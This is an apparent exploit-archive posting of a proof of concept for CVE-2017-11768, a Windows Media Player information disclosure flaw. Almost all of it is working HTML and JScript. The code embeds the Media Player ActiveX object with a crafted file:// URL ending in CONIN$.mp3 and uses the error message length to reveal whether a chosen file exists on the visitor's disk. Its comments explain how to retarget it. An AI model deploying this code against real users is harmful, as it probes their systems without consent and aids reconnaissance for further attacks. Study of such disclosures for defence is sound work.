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Windows Media Player Information Disclosure

Windows Media Player Information Disclosure
Posted Dec 26, 2017
Authored by James Lee

Windows Media Player suffers from an information disclosure vulnerability that lets an attacker know if a file exists.

tags | exploit, info disclosure
systems | windows
advisories | CVE-2017-11768
MD5 | 90ec3cbec78508be086c6e10403ca97a

Windows Media Player Information Disclosure

Change Mirror Download
https://www.facebook.com/ExploitWareLabs/posts/1647568611973673

CVE-2017-11768 PoC code:

<b>existing file:</b>

<!-- "existing file:" with a bold tag to present a Windows Media Player mp3
file is going to test for the presence of files on disk, in our case we are
detecting cmd.exe binary in system32 folder. -->

<br>
<br>

<OBJECT id="Player" classid="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6">

<!-- Instantiating Specific class id - Windows Media Player HTMLView CLSID
"6BF52A52-394A-11d3-B153-00C04F79FAA6" to embed Windows Media Player. -->

<PARAM NAME="URL" VALUE="file://C://Windows//system32//cmd.exe//CONIN$.mp3">

<!-- Testing for the presence of files on disk via param.url. I added
"CONIN$.mp3" at the end of VALUE for valid detection, otherwise you'll get
prompt that says "doesn't match the file format". CONIN$ is a console input
device, the parameter of well known Windows function CreateFile. CONIN$ is
reserved name on Windows which mean it's invalid mp3 file name thus
bypasses prompt that checks extension. You can change param.url to your
desired file/folder to detect. -->

<param name="captioningID" value="displaylyric" />

<PARAM NAME="autoStart" VALUE="-1">

</OBJECT>

<SCRIPT LANGUAGE = "JScript" FOR = Player EVENT = error()>

if(Player.error.item(0).errorDescription.length==189){
alert('File not detected.');
}
else{
alert('File detected!');
}
</SCRIPT>

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